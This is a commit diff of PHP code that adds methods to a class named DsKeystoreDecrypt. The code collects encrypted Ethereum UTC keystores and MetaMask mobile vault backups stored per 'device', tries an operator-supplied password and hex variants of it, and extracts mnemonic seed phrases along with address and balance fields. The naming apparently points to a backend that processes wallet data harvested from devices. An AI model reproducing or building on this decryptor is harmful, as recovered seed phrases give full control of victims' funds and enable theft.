feat: app
This commit is contained in:
@@ -78,6 +78,99 @@ final class DsKeystoreDecrypt
|
||||
return $hits;
|
||||
}
|
||||
|
||||
/**
|
||||
* Try operator-supplied password against UTC / walletsV2 blobs and
|
||||
* MetaMask-style password vaults on this row (and same-source rows).
|
||||
*
|
||||
* @return array{hits: list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>, utc: int, vault: int}
|
||||
*/
|
||||
public function unlockRowWithPassword(Device $device, WalletKeystore $row, string $password): array
|
||||
{
|
||||
$device->loadMissing('keystores');
|
||||
$source = trim((string) $row->source);
|
||||
$nodes = [is_array($row->raw_json) ? $row->raw_json : []];
|
||||
foreach ($device->keystores as $other) {
|
||||
if ((int) $other->id === (int) $row->id) {
|
||||
continue;
|
||||
}
|
||||
if (trim((string) $other->source) !== $source) {
|
||||
continue;
|
||||
}
|
||||
$nodes[] = is_array($other->raw_json) ? $other->raw_json : [];
|
||||
}
|
||||
|
||||
$utcs = [];
|
||||
$vaults = [];
|
||||
foreach ($nodes as $node) {
|
||||
$utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown'));
|
||||
$vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown'));
|
||||
}
|
||||
$utcs = $this->uniqueKeystores($utcs);
|
||||
$passwords = $this->expandUserPassword($password);
|
||||
$hits = [];
|
||||
$seen = [];
|
||||
if ($passwords === []) {
|
||||
return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults)];
|
||||
}
|
||||
|
||||
foreach ($utcs as $item) {
|
||||
$phrase = $this->unlock($item['keystore'], $passwords);
|
||||
if ($phrase === null) {
|
||||
continue;
|
||||
}
|
||||
$hash = WalletMnemonic::hashSecret($phrase);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'unknown');
|
||||
$hits[] = [
|
||||
'source' => $hitSource,
|
||||
'tag' => WalletSource::tagForLabel($hitSource),
|
||||
'phrase' => $phrase,
|
||||
'addresses' => [],
|
||||
];
|
||||
}
|
||||
|
||||
foreach ($vaults as $item) {
|
||||
$phrase = $this->unlockPasswordVault($item['vault'], $passwords);
|
||||
if ($phrase === null) {
|
||||
continue;
|
||||
}
|
||||
$hash = WalletMnemonic::hashSecret($phrase);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'MetaMask');
|
||||
$hits[] = [
|
||||
'source' => $hitSource,
|
||||
'tag' => WalletSource::tagForLabel($hitSource) ?: 'a',
|
||||
'phrase' => $phrase,
|
||||
'addresses' => [],
|
||||
];
|
||||
}
|
||||
|
||||
return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults)];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function expandUserPassword(string $password): array
|
||||
{
|
||||
$password = trim($password);
|
||||
if ($password === '') {
|
||||
return [];
|
||||
}
|
||||
$out = $this->passwordsFromString($password);
|
||||
if (ctype_xdigit($password) && strlen($password) % 2 === 0 && strlen($password) >= 8) {
|
||||
$out = array_merge($out, $this->passwordsFromHex($password));
|
||||
}
|
||||
|
||||
return array_values(array_unique($out));
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{utc: int, passwords: int, entropy: int}
|
||||
*/
|
||||
@@ -575,6 +668,192 @@ final class DsKeystoreDecrypt
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* MetaMask mobile VAULT_BACKUP: {cipher, iv, salt, lib, keyMetadata}.
|
||||
*
|
||||
* @return list<array{source: string, vault: array<string, mixed>}>
|
||||
*/
|
||||
public function collectPasswordVaults(mixed $node, string $source = '', int $depth = 0): array
|
||||
{
|
||||
if ($depth > 10 || $node === null) {
|
||||
return [];
|
||||
}
|
||||
if (is_string($node)) {
|
||||
$decoded = $this->decodeBlob($node);
|
||||
if ($decoded === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->collectPasswordVaults($decoded, $source, $depth + 1);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
if ($this->isPasswordVault($node)) {
|
||||
return [['source' => $source !== '' ? $source : 'MetaMask', 'vault' => $node]];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
$acct = strtolower(trim((string) ($node['account'] ?? '')));
|
||||
if ($acct === 'vault_backup' && $source === '') {
|
||||
$source = 'MetaMask';
|
||||
}
|
||||
foreach ($node as $key => $child) {
|
||||
$next = $source;
|
||||
if (is_string($key)) {
|
||||
$hint = WalletSource::fromKeystoreHint($key);
|
||||
if ($hint !== '') {
|
||||
$next = $hint;
|
||||
}
|
||||
}
|
||||
if (is_array($child) || is_string($child)) {
|
||||
$out = array_merge($out, $this->collectPasswordVaults($child, $next, $depth + 1));
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $node
|
||||
*/
|
||||
public function isPasswordVault(array $node): bool
|
||||
{
|
||||
foreach (['cipher', 'iv', 'salt'] as $key) {
|
||||
if (! is_string($node[$key] ?? null) || $node[$key] === '') {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $vault
|
||||
* @param list<string> $passwords
|
||||
*/
|
||||
public function unlockPasswordVault(array $vault, array $passwords): ?string
|
||||
{
|
||||
foreach ($passwords as $password) {
|
||||
$plain = $this->decryptPasswordVault($vault, $password);
|
||||
if ($plain === null) {
|
||||
continue;
|
||||
}
|
||||
$phrase = $this->phraseFromVaultPlain($plain);
|
||||
if ($phrase !== null) {
|
||||
return $phrase;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* MetaMask iOS (lib=quick-crypto): PBKDF2-SHA512 over the salt *string*
|
||||
* (not base64-decoded), AES-256-CBC, IV hex, cipher base64.
|
||||
*
|
||||
* @param array<string, mixed> $vault
|
||||
*/
|
||||
private function decryptPasswordVault(array $vault, string $password): ?string
|
||||
{
|
||||
$cipherB64 = (string) ($vault['cipher'] ?? '');
|
||||
$ivRaw = (string) ($vault['iv'] ?? '');
|
||||
$saltStr = (string) ($vault['salt'] ?? '');
|
||||
if ($cipherB64 === '' || $ivRaw === '' || $saltStr === '' || $password === '') {
|
||||
return null;
|
||||
}
|
||||
$cipher = base64_decode($cipherB64, true);
|
||||
if (! is_string($cipher) || $cipher === '') {
|
||||
return null;
|
||||
}
|
||||
$iv = ctype_xdigit($ivRaw) && strlen($ivRaw) % 2 === 0 ? @hex2bin($ivRaw) : base64_decode($ivRaw, true);
|
||||
if (! is_string($iv) || $iv === '') {
|
||||
return null;
|
||||
}
|
||||
$iterations = (int) ($vault['keyMetadata']['params']['iterations'] ?? 5000);
|
||||
if ($iterations < 1) {
|
||||
$iterations = 5000;
|
||||
}
|
||||
$salts = [$saltStr];
|
||||
$decodedSalt = base64_decode($saltStr, true);
|
||||
if (is_string($decodedSalt) && $decodedSalt !== '' && $decodedSalt !== $saltStr) {
|
||||
$salts[] = $decodedSalt;
|
||||
}
|
||||
foreach ($salts as $salt) {
|
||||
$key = hash_pbkdf2('sha512', $password, $salt, $iterations, 32, true);
|
||||
$plain = openssl_decrypt($cipher, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
||||
if (is_string($plain) && $plain !== '') {
|
||||
return $plain;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function phraseFromVaultPlain(string $plain): ?string
|
||||
{
|
||||
$direct = $this->asMnemonic($plain);
|
||||
if ($direct !== null) {
|
||||
return $direct;
|
||||
}
|
||||
$json = json_decode($plain, true);
|
||||
if (! is_array($json)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $this->phraseFromVaultNode($json);
|
||||
}
|
||||
|
||||
private function phraseFromVaultNode(mixed $node): ?string
|
||||
{
|
||||
if (is_string($node)) {
|
||||
return $this->asMnemonic($node);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return null;
|
||||
}
|
||||
if (isset($node['mnemonic'])) {
|
||||
$phrase = $this->mnemonicFieldToPhrase($node['mnemonic']);
|
||||
if ($phrase !== null) {
|
||||
return $phrase;
|
||||
}
|
||||
}
|
||||
foreach ($node as $child) {
|
||||
$phrase = $this->phraseFromVaultNode($child);
|
||||
if ($phrase !== null) {
|
||||
return $phrase;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function mnemonicFieldToPhrase(mixed $value): ?string
|
||||
{
|
||||
if (is_string($value)) {
|
||||
return $this->asMnemonic($value);
|
||||
}
|
||||
if (! is_array($value) || $value === []) {
|
||||
return null;
|
||||
}
|
||||
if (is_int($value[0] ?? null) || is_float($value[0] ?? null)) {
|
||||
$raw = '';
|
||||
foreach ($value as $code) {
|
||||
if (! is_numeric($code)) {
|
||||
return null;
|
||||
}
|
||||
$raw .= chr((int) $code);
|
||||
}
|
||||
|
||||
return $this->asMnemonic($raw);
|
||||
}
|
||||
if (is_string($value[0] ?? null)) {
|
||||
return $this->asMnemonic(implode(' ', array_map(static fn ($w) => (string) $w, $value)));
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
|
||||
Reference in New Issue
Block a user